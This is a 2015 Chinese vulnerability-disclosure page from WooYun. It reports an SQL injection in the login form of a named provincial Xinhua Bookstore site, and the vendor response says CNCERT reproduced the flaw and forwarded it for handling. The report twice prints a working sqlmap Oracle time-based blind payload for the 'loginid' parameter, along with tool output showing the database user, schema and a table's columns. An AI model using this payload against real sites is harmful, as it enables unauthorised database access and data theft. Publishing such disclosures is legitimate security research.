当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124743

漏洞标题:某省新华书店系统存在SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 风若新

提交时间:2015-07-08 19:29

修复时间:2015-08-24 11:44

公开时间:2015-08-24 11:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-08: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述:

新华书店某省某系统存在SQL注入漏洞,拥有大量数据。

详细说明:

浙江省新华书店集团某系统存在post方式的SQL注入漏洞,大量信息泄露。
地址:http://m.zxhsd.com
登录框存在SQL注入。
用SQLMAP跑

Place: POST
Parameter: loginid
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: loginid=admin' AND 8663=DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(104)||CHR(74)||CHR(120),5) AND 'kYTk'='kYTk&password=admin&clienttype=Webclient&clientver=4.6&
---
[19:53:33] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[19:53:33] [INFO] fetching current user
[19:53:33] [INFO] resumed: ECOLOGY
current user: 'ECOLOGY'
[19:53:33] [INFO] fetching current database
[19:53:33] [INFO] resumed: ECOLOGY
current schema (equivalent to database on Oracle): 'ECOLOGY'
[19:53:33] [INFO] fetched data logged to text files under 'D:\Program Files\Python27\sqlmap\output\m.zxhsd.com'
[*] shutting down at 19:53:33


available databases [1]:
[*] ECOLOGY


Database: ECOLOGY
Table: STUSERES
[28 columns]
+--------------------+-------------+
| Column | Type |
+--------------------+-------------+
| "adressee-mail" | non-numeric |
| adm_id | non-numeric |
| and_xevento | non-numeric |
| atividade_id | non-numeric |
| bct_id | non-numeric |
| category_child_id | non-numeric |
| converge_pass_hash | non-numeric |
| crack | non-numeric |
| db_username | non-numeric |
| discount_id | non-numeric |
| emer | non-numeric |
| esquema | non-numeric |
| fre_aluno | non-numeric |
| fre_codigo | non-numeric |
| group_perm_id | non-numeric |
| id_estado | non-numeric |
| login_name | non-numeric |
| nb | non-numeric |
| newrow | non-numeric |
| newssummaryauthor | non-numeric |
| nome_agencia | non-numeric |
| payment_method_id | non-numeric |
| pessoa_id | non-numeric |
| rolle_nr | non-numeric |
| totpc | non-numeric |
| venc2 | non-numeric |
| xgarantia | non-numeric |
| xnatureza | non-numeric |
+--------------------+-------------+


好了,就这些了。

漏洞证明:

浙江省新华书店集团某系统存在post方式的SQL注入漏洞,大量信息泄露。
地址:http://m.zxhsd.com
登录框存在SQL注入。
用SQLMAP跑

Place: POST
Parameter: loginid
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: loginid=admin' AND 8663=DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(104)||CHR(74)||CHR(120),5) AND 'kYTk'='kYTk&password=admin&clienttype=Webclient&clientver=4.6&
---
[19:53:33] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[19:53:33] [INFO] fetching current user
[19:53:33] [INFO] resumed: ECOLOGY
current user: 'ECOLOGY'
[19:53:33] [INFO] fetching current database
[19:53:33] [INFO] resumed: ECOLOGY
current schema (equivalent to database on Oracle): 'ECOLOGY'
[19:53:33] [INFO] fetched data logged to text files under 'D:\Program Files\Python27\sqlmap\output\m.zxhsd.com'
[*] shutting down at 19:53:33


available databases [1]:
[*] ECOLOGY


Database: ECOLOGY
Table: STUSERES
[28 columns]
+--------------------+-------------+
| Column | Type |
+--------------------+-------------+
| "adressee-mail" | non-numeric |
| adm_id | non-numeric |
| and_xevento | non-numeric |
| atividade_id | non-numeric |
| bct_id | non-numeric |
| category_child_id | non-numeric |
| converge_pass_hash | non-numeric |
| crack | non-numeric |
| db_username | non-numeric |
| discount_id | non-numeric |
| emer | non-numeric |
| esquema | non-numeric |
| fre_aluno | non-numeric |
| fre_codigo | non-numeric |
| group_perm_id | non-numeric |
| id_estado | non-numeric |
| login_name | non-numeric |
| nb | non-numeric |
| newrow | non-numeric |
| newssummaryauthor | non-numeric |
| nome_agencia | non-numeric |
| payment_method_id | non-numeric |
| pessoa_id | non-numeric |
| rolle_nr | non-numeric |
| totpc | non-numeric |
| venc2 | non-numeric |
| xgarantia | non-numeric |
| xnatureza | non-numeric |
+--------------------+-------------+


好了,就这些了。

修复方案:

过滤

版权声明:转载请注明来源 风若新@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-07-10 11:43

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给浙江分中心,由浙江分中心后续协调网站管理单位处置

最新状态:

暂无


漏洞评价:

评论